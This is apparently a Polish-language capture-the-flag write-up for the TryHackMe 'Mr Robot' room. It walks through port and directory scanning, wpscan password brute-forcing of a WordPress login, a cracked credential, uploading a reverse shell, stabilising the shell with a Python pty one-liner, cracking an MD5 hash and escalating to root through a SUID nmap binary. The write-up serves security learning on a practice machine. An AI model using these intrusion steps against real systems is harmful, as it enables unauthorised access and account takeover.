Post

Mr Robot

Rozwiązanie pokoju mrrobot z platformy https://tryhackme.com/.

Podstawowe skanowanie:

nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
└─$ nmap -sV 10.10.110.183
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 12:52 EDT
Nmap scan report for 10.10.110.183
Host is up (0.043s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
443/tcp open   ssl/http Apache httpd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.58 seconds

gobuster scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
└─$ gobuster dir -u 10.10.110.183 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.110.183
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 213]
/.htaccess            (Status: 403) [Size: 218]
/.htpasswd            (Status: 403) [Size: 218]
/0                    (Status: 301) [Size: 0] [--> http://10.10.110.183/0/]
/admin                (Status: 301) [Size: 235] [--> http://10.10.110.183/admin/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.110.183/feed/atom/]
/audio                (Status: 301) [Size: 235] [--> http://10.10.110.183/audio/]
/blog                 (Status: 301) [Size: 234] [--> http://10.10.110.183/blog/]
/css                  (Status: 301) [Size: 233] [--> http://10.10.110.183/css/]
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.110.183/wp-admin/]
/favicon.ico          (Status: 200) [Size: 0]
/feed                 (Status: 301) [Size: 0] [--> http://10.10.110.183/feed/]
/images               (Status: 301) [Size: 236] [--> http://10.10.110.183/images/]
/Image                (Status: 301) [Size: 0] [--> http://10.10.110.183/Image/]
/image                (Status: 301) [Size: 0] [--> http://10.10.110.183/image/]
/index.html           (Status: 200) [Size: 1188]
/index.php            (Status: 301) [Size: 0] [--> http://10.10.110.183/]
/intro                (Status: 200) [Size: 516314]
/js                   (Status: 301) [Size: 232] [--> http://10.10.110.183/js/]
/license              (Status: 200) [Size: 309]
/login                (Status: 302) [Size: 0] [--> http://10.10.110.183/wp-login.php]
/page1                (Status: 301) [Size: 0] [--> http://10.10.110.183/]
/phpmyadmin           (Status: 403) [Size: 94]
/readme               (Status: 200) [Size: 64]
/rdf                  (Status: 301) [Size: 0] [--> http://10.10.110.183/feed/rdf/]
/robots               (Status: 200) [Size: 41]
/robots.txt           (Status: 200) [Size: 41]
/rss                  (Status: 301) [Size: 0] [--> http://10.10.110.183/feed/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.110.183/feed/]
/sitemap              (Status: 200) [Size: 0]
/sitemap.xml          (Status: 200) [Size: 0]
/video                (Status: 301) [Size: 235] [--> http://10.10.110.183/video/]
/wp-admin             (Status: 301) [Size: 238] [--> http://10.10.110.183/wp-admin/]
/wp-content           (Status: 301) [Size: 240] [--> http://10.10.110.183/wp-content/]
/wp-config            (Status: 200) [Size: 0]
/wp-includes          (Status: 301) [Size: 241] [--> http://10.10.110.183/wp-includes/]
/wp-cron              (Status: 200) [Size: 0]
/wp-links-opml        (Status: 200) [Size: 227]
/wp-load              (Status: 200) [Size: 0]
/wp-login             (Status: 200) [Size: 2671]
/wp-settings          (Status: 500) [Size: 0]
/wp-signup            (Status: 302) [Size: 0] [--> http://10.10.110.183/wp-login.php?action=register]
/wp-mail              (Status: 500) [Size: 3064]
/xmlrpc.php           (Status: 405) [Size: 42]
/xmlrpc               (Status: 405) [Size: 42]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Standardowo sprawdziłem czy plik robots.txt istnieje, jak często się zdarza tak i tutaj plik ten istnieje i zawiera następujące informacje:

robots.txt

znajduje się w nazwa zasoby zawierająca pierwszą flagę key-1-of-3.txt oraz jakiś słownik, zapisałem go na swoim komputerze. Analizując wyniki z gobuster zauważyłem panel logowania:

1
/login                (Status: 302) [Size: 0] [--> http://10.10.110.183/wp-login.php]

robots.txt

korzystając z narzędzia takiego jak Hydra lub BurpSuite można dokonać enumeracji użytkowników. Zdecydowałem się na wykorzystanie BurpSuite z zainstalowanym rozszerzeniem TurboIntruder pozwalającym wysłać wiele requestów w krótkim czasie, po chwili nazwa użytkownika została znaleziona: robots.txt

w taki sam sposób chciałem znaleźć hasło, jednak za długo wszystko trwało i postanowiłem spróbować narzędzia wpscan:

1
wpscan --url 10.10.110.183 --passwords fsocity.dic --usernames Elliot -t 35

jednak nadal wydajność nie była zadowalająca, przyjrzałem się bliżej liscie którą znalazłem - powód okazał się prozaiczny, lista zawierała wiele duplikatów, usunąłem je poleceniem:

1
sort fsocity.dic | uniq > pass.txt

i ponownie skorzystałem z narzędzia wpscan:

1
wpscan --url 10.10.110.183 --passwords pass.txt --usernames Elliot -t 35

po chwili dane do logowania zostały znalezione:

1
2
3
4
5
6
[SUCCESS] - Elliot / ER28-0652
All Found
Progress Time: 00:00:23 <===============================                           > (12 / 22) 54.54%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: Elliot, Password: ER28-0652

po zalogowaniu sie do panelu postanowiłem wykorzystać reverseshell aby uzyskać połączenie z maszyną. Ze strony pentestmonkey.net pobrałem revershell i wrzuciłem go na stronę, odpowiednio go zmodyfikowałem i uruchomiłem netcata. Po połączeniu się z maszyną zadbałem o stabilniejszą konsolę:

1
python -c "import pty;pty.spawn('/bin/bash')"

a następnie przeszedłem do lokalizacji /home/robot gdzie znalazłem: robots.txt

cóż, pliku z flagą nie mogę odczytać (brak uprawnień), ale mogę odczytać password.raw-md5, zawartość:

1
robot:c3fcd3d76192e4007dfb496cca67e13b

prawdopodobnie jest to hash MD5 hasła użytkownika robot, szybkie zapytanie w wyszukiwarce i hasło znalezione:

1
abcdefghijklmnopqrstuvwxyz

robots.txt hasło znalezione, użytkownik zmieniony, można odczytać następną flagę. Chwilę zapoznawałem się z systemem i odkryłem, że nmap ma ustawiony bit SUID:

1
-rwsr-xr-x  1 root root 504736 Nov 13  2015 nmap

korzystając z tego uzyskałem dostęp do konta root i odczytałem ostatnią flagę.

This post is licensed under CC BY 4.0 by the author.